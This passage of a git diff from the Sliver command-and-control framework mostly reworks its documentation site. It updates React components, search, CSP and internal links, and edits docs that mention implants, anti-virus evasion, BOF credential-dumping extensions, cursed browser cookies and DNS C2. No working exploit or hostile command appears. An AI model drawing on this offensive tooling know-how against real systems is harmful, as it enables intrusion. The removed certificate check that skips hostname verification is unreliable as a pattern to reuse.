RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error { - roots := x509.NewCertPool() - ok := roots.AppendCertsFromPEM([]byte(caCertificate)) - if !ok { - log.Printf("Failed to parse root certificate") - os.Exit(3) - } - - cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert - if err != nil { - log.Printf("Failed to parse certificate: " + err.Error()) - return err - } - - // Basically we only care if the certificate was signed by our authority - // Go selects sensible defaults for time and EKU, basically we're only - // skipping the hostname check, I think? - options := x509.VerifyOptions{ - Roots: roots, - } - if options.Roots == nil { - panic("no root certificate") - } - if _, err := cert.Verify(options); err != nil { - log.Printf("Failed to verify certificate: " + err.Error()) - return err - } - - return nil -} diff --git a/client/version/sliver-version.go b/client/version/sliver-version.go index fae3a87c4d..7d0c4e2d5a 100644 --- a/client/version/sliver-version.go +++ b/client/version/sliver-version.go @@ -31,23 +31,23 @@ const ( ) var ( - // Version - The semantic version in string form + // Version - The semantic version in string form. Version string - // GoVersion - Go compiler version + // GoVersion - Go compiler version. GoVersion string - // GitCommit - The commit id at compile time + // GitCommit - The commit id at compile time. GitCommit string - // GitDirty - Was the commit dirty at compile time + // GitDirty - Was the commit dirty at compile time. GitDirty string - // CompiledAt - When was this binary compiled + // CompiledAt - When was this binary compiled. CompiledAt string ) -// SemanticVersion - Get the structured sematic version +// SemanticVersion - Get the structured sematic version. func SemanticVersion() []int { semVer := []int{} version := Version @@ -61,7 +61,7 @@ func SemanticVersion() []int { return semVer } -// Compiled - Get time this binary was compiled +// Compiled - Get time this binary was compiled. func Compiled() (time.Time, error) { compiled, err := strconv.ParseInt(CompiledAt, 10, 64) if err != nil { @@ -70,7 +70,7 @@ func Compiled() (time.Time, error) { return time.Unix(compiled, 0), nil } -// FullVersion - Full version string +// FullVersion - Full version string. func FullVersion() string { ver := fmt.Sprintf("%s", Version) compiled, err := Compiled() diff --git a/client/version/updates.go b/client/version/updates.go index b0001cd359..69a3763c0e 100644 --- a/client/version/updates.go +++ b/client/version/updates.go @@ -16,10 +16,8 @@ const ( dateLayout = "2006-01-02T15:04:05Z" ) -var ( - // GithubReleasesURL - Check this Github releases API for updates - GithubReleasesURL string -) +// GithubReleasesURL - Check this Github releases API for updates. +var GithubReleasesURL string // Release - A single Github release object // https://developer.github.com/v3/repos/releases/ @@ -49,12 +47,12 @@ type Asset struct { BrowserDownloadURL string `json:"browser_download_url"` } -// Created - Get the time the release was created +// Created - Get the time the release was created. func (r *Release) Created() (time.Time, error) { return time.Parse(dateLayout, r.CreatedAt) } -// Published - Get the time the release was published +// Published - Get the time the release was published. func (r *Release) Published() (time.Time, error) { return time.Parse(dateLayout, r.PublishedAt) } @@ -113,7 +111,7 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) { return nil, nil } -// parseGitTag - Get the structured sematic version +// parseGitTag - Get the structured sematic version. func parseGitTag(tag string) []int { semVer := []int{} version := tag diff --git a/docs/install b/docs/install index 5fc7891609..ae77d3bed0 100644 --- a/docs/install +++ b/docs/install @@ -189,3 +189,4 @@ for USER_DIR in "${USER_DIRS[@]}"; do chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/" fi done + diff --git a/docs/sliver-docs/.gitignore b/docs/sliver-docs/.gitignore index 2724b98488..835056f003 100644 --- a/docs/sliver-docs/.gitignore +++ b/docs/sliver-docs/.gitignore @@ -3,6 +3,7 @@ # generated files public/sitemap.json public/docs.json +/www.zip # code editor files .vscode/ diff --git a/docs/sliver-docs/README.md b/docs/sliver-docs/README.md index 767b622525..44de170c04 100644 --- a/docs/sliver-docs/README.md +++ b/docs/sliver-docs/README.md @@ -1,3 +1,33 @@ # Sliver Docs The source code for the Sliver documentation site. + +### Developers + +To run the documentation site locally first install the dependencies and then run the `dev` npm script: + +```bash +npm install +npm run dev +``` + +**NOTE:** The markdown is compiled into a static JSON object at build time. This means if you edit a `.md` file you will need to restart the dev server to see your changes. + +### Offline Docs + +To run your own copy of the documentation first install the dependencies and then run the `offline` npm script: + +```bash +npm install +npm run offline +``` + +This will produce a `www.zip` file that contains the static html and JavaScript for the documentation site. You can extract this archive and host it anywhere: + +```bash +unzip -o www.zip +cd out/ +python -m http.server 8000 +``` + +Then open your browser to `http://localhost:8000/` to view the documentation. diff --git a/docs/sliver-docs/components/TutorialCard.module.css b/docs/sliver-docs/components/TutorialCard.module.css new file mode 100644 index 0000000000..f85453cbae --- /dev/null +++ b/docs/sliver-docs/components/TutorialCard.module.css @@ -0,0 +1,3 @@ +.hide-control-bar :global(.ap-control-bar){ + display: none !important; +} \ No newline at end of file diff --git a/docs/sliver-docs/components/markdown.tsx b/docs/sliver-docs/components/markdown.tsx new file mode 100644 index 0000000000..e4f34be8c2 --- /dev/null +++ b/docs/sliver-docs/components/markdown.tsx @@ -0,0 +1,188 @@ +import CodeViewer, { CodeSchema } from "@/components/code"; +import { Themes } from "@/util/themes"; +import { useTheme } from "next-themes"; +import Image from "next/image"; +import Link from "next/link"; +import { useRouter } from "next/router"; +import Markdown from "react-markdown"; +import remarkGfm from "remark-gfm"; +import AsciinemaPlayer from "./asciinema"; + +export type MarkdownProps = { + key?: string; + markdown: string; +}; + +type MarkdownAsciiCast = { + src?: string; + rows?: string; + cols?: string; + idleTimeLimit?: number; +}; + +const MarkdownViewer = (props: MarkdownProps) => { + const { theme } = useTheme(); + const router = useRouter(); + + return ( +
+ { + e.preventDefault(); + router.push(href); + }} + > + {children} + + ); + } + const url = new URL(href || ""); + if (url.protocol !== "http:" && url.protocol !== "https:") { + return <>; + } + if (url.host === "sliver.sh") { + return ( + // @ts-ignore + + {children} + + ); + } + return ( + + {children} + + ); + }, + + pre(props) { + // We need to look at the child nodes to avoid wrapping + // a monaco code block in a
 tag
+            const { children, className, node, ...rest } = props;
+            const childClass = (children as any)?.props?.className;
+            if (
+              childClass &&
+              childClass.startsWith("language-") &&
+              childClass !== "language-plaintext"
+            ) {
+              // @ts-ignore
+              return 
{children}
; + } + + return ( +
+                {children}
+              
+ ); + }, + + img(props) { + const { src, alt, ...rest } = props; + return ( + // @ts-ignore + {alt + ); + }, + + code(props) { + const { children, className, node, ...rest } = props; + const langTag = /language-(\w+)/.exec(className || ""); + const lang = langTag ? langTag[1] : "plaintext"; + if (lang === "plaintext") { + return ( + + + {children} + + + ); + } + + if (lang === "asciinema") { + const asciiCast: MarkdownAsciiCast = JSON.parse( + children as string + ); + const src = asciiCast.src?.startsWith("/") + ? `${window.location.origin}${asciiCast.src}` + : asciiCast.src || ""; + const srcUrl = new URL(src); + if (srcUrl.protocol !== "http:" && srcUrl.protocol !== "https:") { + return <>; + } + return ( + + ); + } + + const sourceCode = (children as string) || ""; + const lines = sourceCode.split("\n").length; + return ( + + ); + }, + }} + > + {props.markdown} + +
+ ); +}; + +export default MarkdownViewer; diff --git a/docs/sliver-docs/components/navbar.tsx b/docs/sliver-docs/components/navbar.tsx index ba2f937469..0bc3bd1b71 100644 --- a/docs/sliver-docs/components/navbar.tsx +++ b/docs/sliver-docs/components/navbar.tsx @@ -1,14 +1,25 @@ +"use client"; + import { SliversIcon } from "@/components/icons/slivers"; +import { useSearchContext } from "@/util/search-context"; import { Themes } from "@/util/themes"; -import { faHome, faMoon, faSun } from "@fortawesome/free-solid-svg-icons"; +import { faGithub } from "@fortawesome/free-brands-svg-icons"; +import { + faHome, + faMoon, + faSearch, + faSun, +} from "@fortawesome/free-solid-svg-icons"; import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; import { Button, + Input, Link, Navbar, NavbarBrand, NavbarContent, NavbarItem, + Tooltip, } from "@nextui-org/react"; import { useTheme } from "next-themes"; import { useRouter } from "next/router"; @@ -18,12 +29,15 @@ export type TopNavbarProps = {}; export default function TopNavbar(props: TopNavbarProps) { const router = useRouter(); + const search = useSearchContext(); const { theme, setTheme } = useTheme(); const lightDarkModeIcon = React.useMemo( () => (theme === Themes.DARK ? faSun : faMoon), [theme] ); + const [query, setQuery] = React.useState(""); + return ( + 0}> + setQuery(e.target.value)} + onClear={() => setQuery("")} + startContent={} + onKeyDown={(e) => { + if (e.key === "Enter") { + router.push({ pathname: `/search/`, query: { search: query } }); + setQuery(""); + } + }} + /> + + + + ); diff --git a/docs/sliver-docs/components/tutorial-card.tsx b/docs/sliver-docs/components/tutorial-card.tsx new file mode 100644 index 0000000000..7e468e2027 --- /dev/null +++ b/docs/sliver-docs/components/tutorial-card.tsx @@ -0,0 +1,75 @@ +import { Button, Card, CardFooter, CardHeader } from "@nextui-org/react"; +import AsciinemaPlayer from "./asciinema"; + +import { faChevronRight } from "@fortawesome/free-solid-svg-icons"; +import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; +import styles from "./TutorialCard.module.css"; + +export type TutorialCardCardProps = { + name: string; + description: string; + + asciiCast: string; + rows?: string; + cols?: string; + idleTimeLimit?: number; + + italicDescription?: boolean; + onPress?: () => void; + showButton?: boolean; + buttonText?: string; +}; + +export default function TutorialCard(props: TutorialCardCardProps) { + return ( + + +

+ {props.name} +

+
+ +
+ +
+ + +
+

+ {props.description} +

+ + {props.showButton ? ( +
+ +
+ ) : ( + <> + )} +
+
+
+ ); +} diff --git a/docs/sliver-docs/next.config.js b/docs/sliver-docs/next.config.js index 8bc7716f20..69392a38d4 100644 --- a/docs/sliver-docs/next.config.js +++ b/docs/sliver-docs/next.config.js @@ -5,6 +5,9 @@ const nextConfig = { images: { unoptimized: true, }, + experimental: { + scrollRestoration: true, + }, webpack: (config, { isServer }) => { if (isServer) { require('./prebuild/generate-docs'); diff --git a/docs/sliver-docs/package-lock.json b/docs/sliver-docs/package-lock.json index c3ee152b7e..28a99a5b7f 100644 --- a/docs/sliver-docs/package-lock.json +++ b/docs/sliver-docs/package-lock.json @@ -28,6 +28,7 @@ }, "devDependencies": { "@tailwindcss/typography": "^0.5.10", + "@types/lunr": "^2.3.7", "@types/node": "^20", "@types/react": "^18", "@types/react-dom": "^18", @@ -2909,6 +2910,12 @@ "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==", "dev": true }, + "node_modules/@types/lunr": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/@types/lunr/-/lunr-2.3.7.tgz", + "integrity": "sha512-Tb/kUm38e8gmjahQzdCKhbdsvQ9/ppzHFfsJ0dMs3ckqQsRj+P5IkSAwFTBrBxdyr3E/LoMUUrZngjDYAjiE3A==", + "dev": true + }, "node_modules/@types/mdast": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.3.tgz", diff --git a/docs/sliver-docs/package.json b/docs/sliver-docs/package.json index 3c4f17d46e..7a2057f699 100644 --- a/docs/sliver-docs/package.json +++ b/docs/sliver-docs/package.json @@ -6,7 +6,8 @@ "dev": "next dev", "build": "next build", "start": "next start", - "lint": "next lint" + "lint": "next lint", + "offline": "next build && zip -r www.zip ./out" }, "dependencies": { "@fontsource/fira-code": "^5.0.16", @@ -29,6 +30,7 @@ }, "devDependencies": { "@tailwindcss/typography": "^0.5.10", + "@types/lunr": "^2.3.7", "@types/node": "^20", "@types/react": "^18", "@types/react-dom": "^18", diff --git a/docs/sliver-docs/pages/_app.tsx b/docs/sliver-docs/pages/_app.tsx index f0eccb860f..aeaab226ff 100644 --- a/docs/sliver-docs/pages/_app.tsx +++ b/docs/sliver-docs/pages/_app.tsx @@ -1,6 +1,10 @@ import Navbar from "@/components/navbar"; import "@/styles/globals.css"; +import { Docs } from "@/util/docs"; +import { SearchContext, SearchCtx } from "@/util/search-context"; import { Themes } from "@/util/themes"; +import { faExternalLink } from "@fortawesome/free-solid-svg-icons"; +import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; import { NextUIProvider } from "@nextui-org/react"; import { HydrationBoundary, @@ -12,6 +16,7 @@ import type { AppProps } from "next/app"; import React from "react"; export default function App({ Component, pageProps }: AppProps) { + // Initialize theme const { theme, setTheme } = useTheme(); function getThemeState(): Themes { if (typeof window !== "undefined") { @@ -22,15 +27,66 @@ export default function App({ Component, pageProps }: AppProps) { return Themes.DARK; } + // Initialize search + const [search, setSearch] = React.useState(new SearchCtx()); + + // Initialize query client const [queryClient] = React.useState(() => new QueryClient()); + queryClient.prefetchQuery({ + queryKey: ["docs"], + queryFn: async (): Promise => { + const res = await fetch("/docs.json"); + const docs: Docs = await res.json(); + search.addDocs(docs); + return docs; + }, + }); return ( - - + + + +
+ +
diff --git a/docs/sliver-docs/pages/_document.tsx b/docs/sliver-docs/pages/_document.tsx index 6e5aa92039..f4066f7c83 100644 --- a/docs/sliver-docs/pages/_document.tsx +++ b/docs/sliver-docs/pages/_document.tsx @@ -2,7 +2,7 @@ import Document, { Head, Html, Main, NextScript } from "next/document"; import React from "react"; // This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit. -const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self' data: https://user-images.githubusercontent.com https://i.imgur.com; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`; +const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`; class MyDocument extends Document { static async getInitialProps(ctx: any) { @@ -17,6 +17,7 @@ class MyDocument extends Document { return ( + Sliver Docs diff --git a/docs/sliver-docs/pages/docs/index.tsx b/docs/sliver-docs/pages/docs/index.tsx index 7967e67d84..9a1117c33e 100644 --- a/docs/sliver-docs/pages/docs/index.tsx +++ b/docs/sliver-docs/pages/docs/index.tsx @@ -1,5 +1,5 @@ -import CodeViewer, { CodeSchema } from "@/components/code"; -import { frags } from "@/util/frags"; +import MarkdownViewer from "@/components/markdown"; +import { Docs } from "@/util/docs"; import { Themes } from "@/util/themes"; import { faSearch } from "@fortawesome/free-solid-svg-icons"; import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; @@ -11,27 +11,20 @@ import { Input, Listbox, ListboxItem, + ScrollShadow, } from "@nextui-org/react"; import { useQuery } from "@tanstack/react-query"; import Fuse from "fuse.js"; import { NextPage } from "next"; import { useTheme } from "next-themes"; -import Image from "next/image"; +import Head from "next/head"; +import { useSearchParams } from "next/navigation"; +import { useRouter } from "next/router"; import React from "react"; -import Markdown from "react-markdown"; -import remarkGfm from "remark-gfm"; - -type Doc = { - name: string; - content: string; -}; - -type Docs = { - docs: Doc[]; -}; const DocsIndexPage: NextPage = () => { const { theme } = useTheme(); + const router = useRouter(); const { data: docs, isLoading } = useQuery({ queryKey: ["docs"], @@ -41,25 +34,15 @@ const DocsIndexPage: NextPage = () => { }, }); - const [name, _setName] = React.useState(decodeURI(frags.get("name") || "")); - const setName = (name: string) => { - frags.set("name", name); - _setName(name); - }; - const [markdown, setMarkdown] = React.useState( - name === "" - ? docs?.docs[0].content - : docs?.docs.find((doc) => doc.name === name)?.content || "" - ); + const params = useSearchParams(); + const [name, setName] = React.useState(""); + const [markdown, setMarkdown] = React.useState(""); + React.useEffect(() => { - if (docs && name !== "") { - setMarkdown(docs?.docs.find((doc) => doc.name === name)?.content); - } - if (docs && name === "" && docs.docs.length > 0) { - setName(docs.docs[0].name); - setMarkdown(docs.docs[0].content); - } - }, [docs, name]); + const _name = params.get("name"); + setName(_name || ""); + setMarkdown(docs?.docs.find((doc) => doc.name === _name)?.content || ""); + }, [params, docs]); const [filterValue, setFilterValue] = React.useState(""); const fuse = React.useMemo(() => { @@ -78,127 +61,89 @@ const DocsIndexPage: NextPage = () => { return docs?.docs || []; }, [docs, fuse, filterValue]); + const listboxClasses = React.useMemo(() => { + if (theme === Themes.DARK) { + return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium"; + } else { + return "border p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium"; + } + }, [theme]); + if (isLoading || !docs) { return
Loading...
; } return (
-
-
+ + Sliver Docs: {name} + +
+
setFilterValue("")} - placeholder="Type to filter..." + placeholder="Filter..." startContent={} value={filterValue} onChange={(e) => setFilterValue(e.target.value)} + isClearable={true} + onClear={() => setFilterValue("")} />
- - {visibleDocs.map((doc) => ( - { - setName(doc.name); - setMarkdown(doc.content); + +
+ - {doc.name} - - ))} - + {visibleDocs.map((doc) => ( + { + router.push({ + pathname: "/docs", + query: { name: doc.name }, + }); + }} + > + {doc.name} + + ))} + +
+
- - - {name} - - - - {children}
; - } - return ( -
-                      {children}
-                    
- ); - }, - - img(props) { - const { src, alt, ...rest } = props; - return ( - // @ts-ignore - {alt - ); - }, - - code(props) { - const { children, className, node, ...rest } = props; - const langTag = /language-(\w+)/.exec(className || ""); - const lang = langTag ? langTag[1] : "plaintext"; - if (lang === "plaintext") { - return ( - - {children} - - ); - } - return ( - - ); - }, - }} - > - {markdown} - - - + {name !== "" ? ( + + + {name} + + + + + + + ) : ( +
+
+
+ Welcome to the Sliver Wiki! +
+ Please select a document +
+
+
+
+ )}
); diff --git a/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md b/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md index 65658e6c56..b85e2f9365 100644 --- a/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md +++ b/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md @@ -1,4 +1,4 @@ -Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory). +Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](/docs?name=Armory). #### Aliases Command Parsing @@ -151,7 +151,7 @@ Sliver - 3rd Party extensions: To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above. -As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools) section, to understand how shared libraries are loaded on all platforms. +As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](/docs?name=Third+Party+Tools) section, to understand how shared libraries are loaded on all platforms. ## Extensions diff --git a/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md b/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md index af6fb8f407..55f1c9dd6a 100644 --- a/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md +++ b/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md @@ -1,4 +1,4 @@ -The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](https://github.com/BishopFox/sliver/wiki/Stagers). +The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](/docs?name=Stagers). Here are some external resources for anti-virus evasion: diff --git a/docs/sliver-docs/pages/docs/md/Architecture.md b/docs/sliver-docs/pages/docs/md/Architecture.md index b749f5e93c..939d7fd301 100644 --- a/docs/sliver-docs/pages/docs/md/Architecture.md +++ b/docs/sliver-docs/pages/docs/md/Architecture.md @@ -26,7 +26,3 @@ There are four major components to the Sliver ecosystem: ``` By implementing all functionality over this gRPC interface, and only differing the in-memory/mTLS connection types the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode. - -## Sliver Server - -WIP diff --git a/docs/sliver-docs/pages/docs/md/Armory.md b/docs/sliver-docs/pages/docs/md/Armory.md index 376b51cb3c..9d07c74f92 100644 --- a/docs/sliver-docs/pages/docs/md/Armory.md +++ b/docs/sliver-docs/pages/docs/md/Armory.md @@ -2,7 +2,7 @@ The armory is the Sliver Alias and Extension package manager (introduced in Sliv The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension. -Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode). +Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](/docs?name=Multi-player+Mode). As of v1.5.14 you can also use `armory install all` to install _everything_ if you really want to. diff --git a/docs/sliver-docs/pages/docs/md/Audit Log.md b/docs/sliver-docs/pages/docs/md/Audit Log.md index d7038d36ba..298d88e799 100644 --- a/docs/sliver-docs/pages/docs/md/Audit Log.md +++ b/docs/sliver-docs/pages/docs/md/Audit Log.md @@ -1,6 +1,6 @@ Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command. -By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets) environment variable. +By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment-Variables#assets) environment variable. #### Parsing Audit Logs diff --git a/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md b/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md index 4bbd20e465..abd734c0cc 100644 --- a/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md +++ b/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md @@ -2,9 +2,9 @@ Sliver v1.5 and later support the loading and execution of BOFs and COFFs, gener ### BOF Extensions -BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](https://github.com/BishopFox/sliver/wiki/Armory). +BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](/docs?name=Armory). -The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory) package manager: +The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](/docs?name=Armory) package manager: **IMPORTANT:** BOF Extensions are installed per-sliver client, they are not stored on the server. Thus extensions are not shared across operators, each operator must install the extension to use it. @@ -114,6 +114,6 @@ Looking at the script we can see the BOF requires a single integer argument. The Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed. -More details can be found on the [Aliases & Extensions](https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions) page. +More details can be found on the [Aliases & Extensions](/docs?name=Aliases+and+Extensions) page. **IMPORTANT:** For BOF extensions to be properly detected by the Sliver client, the `path` must use the `.o` file extension. diff --git a/docs/sliver-docs/pages/docs/md/Configuration Files.md b/docs/sliver-docs/pages/docs/md/Configuration Files.md index 6166f4c778..8363954e70 100644 --- a/docs/sliver-docs/pages/docs/md/Configuration Files.md +++ b/docs/sliver-docs/pages/docs/md/Configuration Files.md @@ -1,8 +1,6 @@ -# Server Configuration - ### General Server Configuration -Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below: +Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below: #### Default Server Config @@ -23,7 +21,7 @@ Starting in version 1.0.0 the Sliver server has a configuration file located the #### Configuration Options -- `daemon_mode` - Enable [daemon mode](https://github.com/BishopFox/sliver/wiki/Daemon-Mode) +- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode) - `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`. - `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces. - `port` - TCP port to bind the `deamon_mode` client listener to. @@ -70,7 +68,7 @@ Starting in version v1.1.0 Sliver supports SQL database configurations, by defau ### Operator -Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`: +Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](/docs?name=Multi-player+Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`: ```json { diff --git a/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md b/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md index 06fbbacff5..e16ab860bf 100644 --- a/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md +++ b/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md @@ -2,7 +2,7 @@ Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console. -Sliver v1.5.30 and later also support [External Builders](https://github.com/BishopFox/sliver/wiki/External-Builders), which can be used to easily cross-compile implants. +Sliver v1.5.30 and later also support [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants. ## From Linux to MacOS/Windows @@ -12,13 +12,13 @@ To compile Windows shared library and shellcode implants from Linux, install min sudo apt install mingw-w64 ``` -To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross. +To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross. **NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`. An example deployment is shown below, you have to procure the `MacOSX11.1.sdk.tar.xz` yourself due to license restrictions (see the OSXCross GitHub for more details): -``` +```shell sudo apt-get install -y git curl libssl-dev cmake liblzma-dev libxml2-dev patch clang zlib1g-dev git clone https://github.com/tpoechtrager/osxcross.git /opt/osxcross curl -o /opt/osxcross/tarballs/MacOSX11.1.sdk.tar.xz 'https://example.com/MacOSX11.1.sdk.tar.xz' @@ -26,25 +26,31 @@ cd /opt/osxcross UNATTENDED=1 ./build.sh ``` -Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). +Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables). ## From MacOS to Linux/Windows To compile Windows shared library and shellcode implants from MacOS install mingw from brew: -``` +```` + brew install mingw-w64 + ``` For Linux, we recommend `musl-cross` to target 64-bit Linux, which can be installed via brew: ``` + brew install FiloSottile/musl-cross/musl-cross brew install mingw-w64 + ``` -I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). +I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables). ## From Windows to MacOS/Linux Good luck. +``` +```` diff --git a/docs/sliver-docs/pages/docs/md/Cursed.md b/docs/sliver-docs/pages/docs/md/Cursed.md index 0f1b27be94..29ee6ff676 100644 --- a/docs/sliver-docs/pages/docs/md/Cursed.md +++ b/docs/sliver-docs/pages/docs/md/Cursed.md @@ -26,7 +26,7 @@ The `cursed electron` command can be used to restart an Electron application wit ## Cursed Console -The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. ![cursed](https://user-images.githubusercontent.com/875022/188246398-97e5c7dd-1c21-4aeb-a57e-222fda826e66.png) +The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. ![cursed](/images/cursed-1.png) ## Cursed Cookies diff --git a/docs/sliver-docs/pages/docs/md/DNS C2.md b/docs/sliver-docs/pages/docs/md/DNS C2.md index d24eb10dc9..f98e5c529c 100644 --- a/docs/sliver-docs/pages/docs/md/DNS C2.md +++ b/docs/sliver-docs/pages/docs/md/DNS C2.md @@ -12,7 +12,7 @@ Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you **IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., 